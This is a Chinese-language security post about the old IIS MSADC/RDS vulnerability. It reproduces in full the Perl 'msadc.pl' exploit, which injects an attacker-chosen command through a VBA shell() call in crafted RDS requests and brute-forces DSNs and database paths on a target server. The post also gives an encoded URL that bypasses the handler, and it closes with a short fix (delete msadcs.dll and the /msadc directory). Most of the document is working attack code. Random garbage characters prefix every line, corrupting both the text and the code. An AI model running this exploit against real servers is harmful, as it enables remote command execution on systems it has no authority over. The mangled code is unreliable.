IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
j^^Ap Qj.l:9% 涉及程序：
4KH45|; 3 Microsoft NT server
~% SH3$ C4~;y hz 描述：
}Rz3<eON 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
eC[$B99\ kH]yl
2 详细：
Q 4f/Z 如果你没有时间读详细内容的话，就删除:
Hhari!R XC c:\Program Files\Common Files\System\Msadc\msadcs.dll
YN!>} 有关的安全问题就没有了。
FE2f'e &Ncz v"TM 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
m0c P ( rzh#CnL3 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
!+L/Khw/ C 关于利用ODBC远程漏洞的描述，请参看:
]y ,==1To ?i06f,- http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm `eIenA f"u%J/e & 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
W!6qqi{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 11<KpxKpk Bh=u|8yxc 这里不再论述。
}T%}wdj nIU 6h 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
1rkE yh?? Y0_),O aY /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)FpZPdN+h 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
<-,gAk) u N(y\dL=v 3>R#zJf #将下面这段保存为txt文件，然后: "perl -x 文件名"
%=/) ($}`R
xj1@ #!perl
Vzwc}k*Y #
TW[_Ko86 # MSADC/RDS 'usage' (aka exploit) script
?)`L$Vr= #
U` Wauv& # by rain.forest.puppy
&<UMBAS #
jz5qQt]^ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
sI K;x]Q) # beta test and find errors!
*g[^.Sg /Rg*~Ers
* use Socket; use Getopt::Std;
>]W)'lnO getopts("e:vd:h:XR", \%args);
> 3 &: 5 8AnP7}n;?' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
m"o ;L3 A@sZ14+f if (!defined $args{h} && !defined $args{R}) {
|m80]@> print qq~
R
+WP0&d' Usage: msadc.pl -h <host> { -d <delay> -X -v }
,B0_MDA + -h <host> = host you want to scan (ip or domain)
unBy&?&p -d <seconds> = delay between calls, default 1 second
*7h!w!LN~ -X = dump Index Server path table, if available
Up,v D)tG -v = verbose
T)Y=zIQ1]7 -e = external dictionary file for step 5
C\di 7 z: jS wf*u Or a -R will resume a command session
/6h(6 *JI CC@.MA@9 N ~; exit;}
Xt#4/>dlR qt;y2gf= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Hrz f'a|^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
> &p0d 0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
t$A%*J BKm if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%"af748!+D $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
IjR'Qou 5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
RW }"2 JM\m)RH0 if (!defined $args{R}){ $ret = &has_msadc;
r%.do;5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
sRrzp=D E[bd@[N
8 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]@0NO;bK>F . "cmd /c ";
9$ |Gfyv $in=<STDIN>; chomp $in;
]- 4QNc= $command="cmd /c " . $in ;
cg*)0U-_( a(v>Q*zNP if (defined $args{R}) {&load; exit;}
!}r%
u." W@Lu;g.Yc print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?HV`|
Cw &try_btcustmr;
`zE}1M%y %LZ({\5K#f print "\nStep 2: Trying to make our own DSN...";
a\:VREKj, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
kJ-* fe'S 8krpowVs~ print "\nStep 3: Trying known DSNs...";
cPU/t kc &known_dsn;
rn=m\Gv
e sSQs#+ &=[ print "\nStep 4: Trying known .mdbs...";
`A,g] 1C: &known_mdb;
A%{W{UP8N LJ(1RK GCz if (defined $args{e}){
A^2Uzmzl? print "\nStep 5: Trying dictionary of DSN names...";
&g~ wS@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_Jt 2YZdA i6 (a@KRY print "Sorry Charley...maybe next time?\n";
ZU9c 5/J exit;
A6pjRxg y:v xE8$Q ##############################################################################
Wf&W^Q BZXUwqEh sub sendraw { # ripped and modded from whisker
`QUy; %+ sleep($delay); # it's a DoS on the server! At least on mine...
4)<~4 ' my ($pstr)=@_;
(Gw,2 -A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@ bnG:np die("Socket problems\n");
K&U7H: if(connect(S,pack "SnA4x8",2,80,$target)){
z ly unJD( select(S); $|=1;
\a=D print $pstr; my @in=<S>;
v^_mFp-}\ select(STDOUT); close(S);
{|yob4N return @in;
!grV R157P } else { die("Can't connect...\n"); }}
5n
^TR B !E-Pa5s ##############################################################################
3^Q]j^e4Ny ^+1#[E sub make_header { # make the HTTP request
Q26qNn
bK my $msadc=<<EOT
LT,? $I POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
His*t1o8'O User-Agent: ACTIVEDATA
'D%w|Pe?Q Host: $ip
= 07] z@s Content-Length: $clen
4L73]3& Connection: Keep-Alive
!Y:0c#MPH -Z?Vd!H: ADCClientVersion:01.06
TcGoSj<Z Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
W. 1As{ C^z\([k0er --!ADM!ROX!YOUR!WORLD!
4j!]:r a Content-Type: application/x-varg
X K5<Tg Content-Length: $reqlen
6Kj'Zy VL Y&^ P"Dw EOT
KPpHwcYxT ; $msadc=~s/\n/\r\n/g;
G5,~Z&}YS return $msadc;}
)|I5j] ;L wfP5@ !I ##############################################################################
"sKa` WN} u^j {U} sub make_req { # make the RDS request
9P<[7 u my ($switch, $p1, $p2)=@_;
_"%B7FK my $req=""; my $t1, $t2, $query, $dsn;
zA;@@)hwR XZ/[v8 if ($switch==1){ # this is the btcustmr.mdb query
N|Sf=q?Ko $query="Select * from Customers where City=" . make_shell();
<soz#}e $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
LjH*rjS4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
eJo3 MK gXH[$guf elsif ($switch==2){ # this is general make table query
-.|4Y#b:& $query="create table AZZ (B int, C varchar(10))";
\Fe_rh $dsn="$p1";}
>2?aZ`r+ o1/lZm{\~n elsif ($switch==3){ # this is general exploit table query
uyF|O/FC $query="select * from AZZ where C=" . make_shell();
&
``d $dsn="$p1";}
l6u&5[C _NcY I elsif ($switch==4){ # attempt to hork file info from index server
o iH|uIsqR $query="select path from scope()";
# DjCzz\ $dsn="Provider=MSIDXS;";}
/S\cU`ZVe AC.A'|"]i elsif ($switch==5){ # bad query
dk==? $query="select";
1,V`8 [ $dsn="$p1";}
Z h/Uu6 e62Dx#IY $t1= make_unicode($query);
pfd# N[c $t2= make_unicode($dsn);
}N*>Q R5K $req = "\x02\x00\x03\x00";
L@^~N$G&u $req.= "\x08\x00" . pack ("S1", length($t1));
=ORf%f5"' $req.= "\x00\x00" . $t1 ;
"|m|E/Z-9 $req.= "\x08\x00" . pack ("S1", length($t2));
Z Cg`z $req.= "\x00\x00" . $t2 ;
<q,+ON\' $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Cj*-[ EL< return $req;}
dtAbc7 SxjC wX"> ##############################################################################
WM)F0@" !%Y~~'5 h sub make_shell { # this makes the shell() statement
d xj*Q "K return "'|shell(\"$command\")|'";}
j4R 4H; %o}(sShS ##############################################################################
{NCF6M k s(_+!d6 sub make_unicode { # quick little function to convert to unicode
cW``M.d'F my ($in)=@_; my $out;
R1-k3;v^ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
d3]hyTqbtm return $out;}
4q$H C#w]4 $/ ##############################################################################
ofW+_DKB?l &)pK%SAM sub rdo_success { # checks for RDO return success (this is kludge)
fB+b}aoV my (@in) = @_; my $base=content_start(@in);
ap}5ElMR if($in[$base]=~/multipart\/mixed/){
MbXq`% return 1 if( $in[$base+10]=~/^\x09\x00/ );}
lr2 rQo > return 0;}
c
{I"R8 p[WX'M0f ##############################################################################
y >\S@I F pt-V sub make_dsn { # this makes a DSN for us
&&L"&Rc my @drives=("c","d","e","f");
,eQ[Fi!! print "\nMaking DSN: ";
:ZxLJK9x1 foreach $drive (@drives) {
'xFYUU]#T^ print "$drive: ";
-s$<Op{s my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0v^: "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T[Pa/j{ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s{/qS3= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
:o"8MZp return 0 if $2 eq "404"; # not found/doesn't exist
dZGbC 9 if($2 eq "200") {
CDp8)=WJFF foreach $line (@results) {
^t[HoFRa return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+dkS/b } return 0;}
k:#6^!b1 l
oq vi ##############################################################################
Gowp
<9 F a-n4:QT sub verify_exists {
iS@\ =CK my ($page)=@_;
|)W!jC&k my @results=sendraw("GET $page HTTP/1.0\n\n");
Ak~4|w- return $results[0];}
;T ZGC).6 `dJ DucD ##############################################################################
["3df>!f Poa ?Ej sub try_btcustmr {
&C-;S a4 my @drives=("c","d","e","f");
Q1>zg, r my @dirs=("winnt","winnt35","winnt351","win","windows");
<E':[.zC _ ^7|!(Sz foreach $dir (@dirs) {
LEh)g [
print "$dir -> "; # fun status so you can see progress
!k~z5z'=py foreach $drive (@drives) {
p-GT`D print "$drive: "; # ditto
r dj@u47 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%B EC]
h $reqlenlen=length( "$reqlen" );
9e<Zgr?N $clen= 206 + $reqlenlen + $reqlen;
][Y^-Ak1 7SI)1_%G my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ke/_k/ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
W'_/6_c$! else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
r@T| e EaS~` ##############################################################################
S=gW(c2' 2w? G.pO# sub odbc_error {
9u wL{P& my (@in)=@_; my $base;
U
|F>W~% my $base = content_start(@in);
S ZVV40w if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"E*8h/4u $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{ U
<tc4^ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
NMjnL&P` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>,h1 N$A+ return $in[$base+4].$in[$base+5].$in[$base+6];}
~uPk print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ID8k/t! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
I{dl% z73 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Q?;C4n4]l kqB\xlS7k ##############################################################################
0->/`/xm 4`mO+.za1 sub verbose {
PI7IBI my ($in)=@_;
v`{:~ q* return if !$verbose;
J0Four#MD print STDOUT "\n$in\n";}
r#xk`a o`%I{?UCDJ ##############################################################################
R}J-nJlb I=YCQ VvA sub save {
<`JG>H*B6 my ($p1, $p2, $p3, $p4)=@_;
`=!p$hg($ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*5w v%- print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
?;8M^a/ close OUT;}
0]a1 5 ?"@ET9 ##############################################################################
}%{=].)L (G5T%[/U sub load {
vug-n 8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~yN(- I1P open(IN,"<rds.save") || die("Couldn't open rds.save\n");
DyI2Ye @p=<IN>; close(IN);
$DV-Ieb $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
y@9Y,ZR* $target= inet_aton($ip) || die("inet_aton problems");
H!JWc'(<$ print "Resuming to $ip ...";
EW5]!% $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
x_ySf!ih if($p[1]==1) {
SY6r 8RK $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
-HT L 5 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
4 ? {*( my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
#5d8?n if (rdo_success(@results)){print "Success!\n";}
5}SXYA} else { print "failed\n"; verbose(odbc_error(@results));}}
^@ UjQ9[> elsif ($p[1]==3){
<t6 d)mJ % if(run_query("$p[3]")){
m9g^ -X print "Success!\n";} else { print "failed\n"; }}
7Jc<.Z"/Gd elsif ($p[1]==4){
W}k[slqZA if(run_query($drvst . "$p[3]")){
~\bHfiIDy print "Success!\n"; } else { print "failed\n"; }}
L` [F~$| exit;}
*'^:S#= g!`BXm W ##############################################################################
Q}z{AZ 0(vdkC4\A sub create_table {
7h1"^} M& my ($in)=@_;
M;@Ex`+?i $reqlen=length( make_req(2,$in,"") ) - 28;
|
W?[,|e $reqlenlen=length( "$reqlen" );
i -V0Lm/ $clen= 206 + $reqlenlen + $reqlen;
^=#!D[xj> my @results=sendraw(make_header() . make_req(2,$in,""));
'X ~A b return 1 if rdo_success(@results);
(v|`LmV my $temp= odbc_error(@results); verbose($temp);
f }-v return 1 if $temp=~/Table 'AZZ' already exists/;
"sIN86pCs return 0;}
ypT9 8 &O{t^D)F ##############################################################################
d:3= 1x < |dj^.^ sub known_dsn {
C!kbZTO[p" # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
jrdtd6b} my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
F$C+R&V_ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
/ ~"AG l. "banner", "banners", "ads", "ADCDemo", "ADCTest");
q]?+By-0 [R$liN99z; foreach $dSn (@dsns) {
&0h=4i=6r print ".";
j5A\y^Kv next if (!is_access("DSN=$dSn"));
" D!Dr1 if(create_table("DSN=$dSn")){
*hl<Y,W( print "$dSn successful\n";
=KW|#]RB^ if(run_query("DSN=$dSn")){
k^yy$^=< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t pz=} q print "Something's borked. Use verbose next time\n";}}} print "\n";}
!z.^(Tj x F^ r` ##############################################################################
wISzT^RS
}(rzH}X@ sub is_access {
W -!dMa my ($in)=@_;
zlN+edgY#, $reqlen=length( make_req(5,$in,"") ) - 28;
T)O]:v $reqlenlen=length( "$reqlen" );
9Iy[E ,j $clen= 206 + $reqlenlen + $reqlen;
ILIRI[7 ( my @results=sendraw(make_header() . make_req(5,$in,""));
;q^,[(8 my $temp= odbc_error(@results);
_BCT .ual verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*ig5Q(b*N return 0;}
ur`V{9g 9cb B[c_. ##############################################################################
0YHYx n 3 dY6;/s sub run_query {
p\)h",RkA my ($in)=@_;
@nW'(x( $reqlen=length( make_req(3,$in,"") ) - 28;
5Wj5I S/ $reqlenlen=length( "$reqlen" );
}cyq'm i $clen= 206 + $reqlenlen + $reqlen;
r}Q@VS% % my @results=sendraw(make_header() . make_req(3,$in,""));
VN!^m]0 return 1 if rdo_success(@results);
00R % my $temp= odbc_error(@results); verbose($temp);
ir"* iL= return 0;}
hiT9H5 6 > U bpg92 ##############################################################################
W|FNDP0 ud!r*E sub known_mdb {
C= M? my @drives=("c","d","e","f","g");
%{c2lyw my @dirs=("winnt","winnt35","winnt351","win","windows");
N_|YOw6 my $dir, $drive, $mdb;
EsS!07fAM: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
rjt O`Mt` PwRNBb}6 # this is sparse, because I don't know of many
M~# 5/eRX my @sysmdbs=( "\\catroot\\icatalog.mdb",
x%ZiE5# "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
`~sf} S
: "\\system32\\certmdb.mdb",
' $lw[1 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
d9ZDpzx B 7=AO^:=bx my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
C[^a/ P`i "\\cfusion\\cfapps\\forums\\forums_.mdb",
?T~3B]R "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
FP 0<-9DO "\\cfusion\\cfapps\\security\\realm_.mdb",
Y'\3ux0]4' "\\cfusion\\cfapps\\security\\data\\realm.mdb",
o (vZ*^\ "\\cfusion\\database\\cfexamples.mdb",
mq>*W' M "\\cfusion\\database\\cfsnippets.mdb",
-_:JQ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
(d1V1t2r6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
T9,lblU Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
G`&'Bt{Z* "\\cfusion\\database\\smpolicy.mdb",
NN?Bi=&9 "\\cfusion\\database\cypress.mdb",
E]D4'] "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
cC*z j \O "\\website\\cgi-win\\dbsample.mdb",
\0xzBs1! "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
%Td+J`|U+ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
)GQ D*b ); #these are just
ntd
":BKi foreach $drive (@drives) {
Nj"_sA
p foreach $dir (@dirs){
ZzSJm+&' foreach $mdb (@sysmdbs) {
)3d:S*ly print ".";
_AA`R`p; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
bi,rMgW print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
c'>8pd if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
47$-5k30 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
w4 >:uyE } else { print "Something's borked. Use verbose next time\n"; }}}}}
N$L&|4r !: `Ra foreach $drive (@drives) {
a'( lVZA; foreach $mdb (@mdbs) {
+/1P^U / print ".";
3RG/X if(create_table($drv . $drive . $dir . $mdb)){
jnx+wcd print "\n" . $drive . $dir . $mdb . " successful\n";
; L MEU_ if(run_query($drv . $drive . $dir . $mdb)){
" dFdOb"O- print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
#0#V$AA> } else { print "Something's borked. Use verbose next time\n"; }}}}
.oB'ttF1 }
y$"~^8"z C: TuC5Sr ##############################################################################
jp\JwE oQKcGUZ sub hork_idx {
[ 7CH(o1a& print "\nAttempting to dump Index Server tables...\n";
j.e`ip print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
D
z]}@Z*jK $reqlen=length( make_req(4,"","") ) - 28;
C[HE4xF6 $reqlenlen=length( "$reqlen" );
VbY>l' rY $clen= 206 + $reqlenlen + $reqlen;
=i Pd@f"$ my @results=sendraw2(make_header() . make_req(4,"",""));
rY P8V
> if (rdo_success(@results)){
&S t~!y6M? my $max=@results; my $c; my %d;
ueS[sN! for($c=19; $c<$max; $c++){
gw*yIZ @3) $results[$c]=~s/\x00//g;
gGceK^# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
QB
oZCLv $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
d60Fi# 3d $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
a93d' ZE-X $d{"$1$2"}="";}
4%Z\G@0<' foreach $c (keys %d){ print "$c\n"; }
P,+ 0 } else {print "Index server doesn't seem to be installed.\n"; }}
2t~7 eI%d )yz9? ]a ##############################################################################
J_)z:`[yE ! S$oaCxM sub dsn_dict {
(h8hg+l
o open(IN, "<$args{e}") || die("Can't open external dictionary\n");
8EVF<@{] while(<IN>){
}(hYG"5 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)x5$io
next if (!is_access("DSN=$dSn"));
KX=:)%+ if(create_table("DSN=$dSn")){
4jue_jsle print "$dSn successful\n";
e`gGzyM if(run_query("DSN=$dSn")){
/ltP@*b o print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dk,
I?c & print "Something's borked. Use verbose next time\n";}}}
:9O0?6:B| print "\n"; close(IN);}
Cq~ah d5Eee^Qu/ ##############################################################################
2*UE&Gp fQ?n( sub sendraw2 { # ripped and modded from whisker
8u~\]1 ( sleep($delay); # it's a DoS on the server! At least on mine...
IU;pkgBj0Y my ($pstr)=@_;
:pV("tHE socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
PK|`}z9 die("Socket problems\n");
Z-;uzx if(connect(S,pack "SnA4x8",2,80,$target)){
n?ZH2dI \0 print "Connected. Getting data";
:[ZC-hc \ open(OUT,">raw.out"); my @in;
h-)A?%Xt select(S); $|=1; print $pstr;
j#.-MfB while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Du o# WtC
close(OUT); select(STDOUT); close(S); return @in;
yz&q2 } else { die("Can't connect...\n"); }}
%<#$:Qb. s D8xH ##############################################################################
sou$qKoG01 N_WA4?rB sub content_start { # this will take in the server headers
\Lh<E5@] my (@in)=@_; my $c;
9"u @<] for ($c=1;$c<500;$c++) {
C`K9WJOD if($in[$c] =~/^\x0d\x0a/){
qjRiTIp9q if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
:4L5@>b- else { return $c+1; }}}
ztxQv5=:, return -1;} # it should never get here actually
=B 4g EWR XC8z| A- @ ##############################################################################
L)//-
k9 +#*z"a` sub funky {
"x ) pp my (@in)=@_; my $error=odbc_error(@in);
,Elga}7u if($error=~/ADO could not find the specified provider/){
DF&jZ[## print "\nServer returned an ADO miscofiguration message\nAborting.\n";
dXcMysRc%& exit;}
>p+gx,N if($error=~/A Handler is required/){
Wx\"wlJ7.3 print "\nServer has custom handler filters (they most likely are patched)\n";
JNz"lTt>[g exit;}
{II7%\ya if($error=~/specified Handler has denied Access/){
ez<wEt S print "\nServer has custom handler filters (they most likely are patched)\n";
b<H6 D} exit;}}
NbK?Dg8WJG A#07Ly8kXn ##############################################################################
:+V1682u b-=[(]_$h sub has_msadc {
'9F{.] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
z E7ocul my $base=content_start(@results);
e hB1`%@ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.$x[!fuuR& return 0;}
<OO/Tn'a
oG_'<5Bv> ########################
$@f3=NJ4k qYrG e $T%<'=u|E 解决方案：
zSM7 x 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
m$ UT4,Ol 2、移除web 目录: /msadc
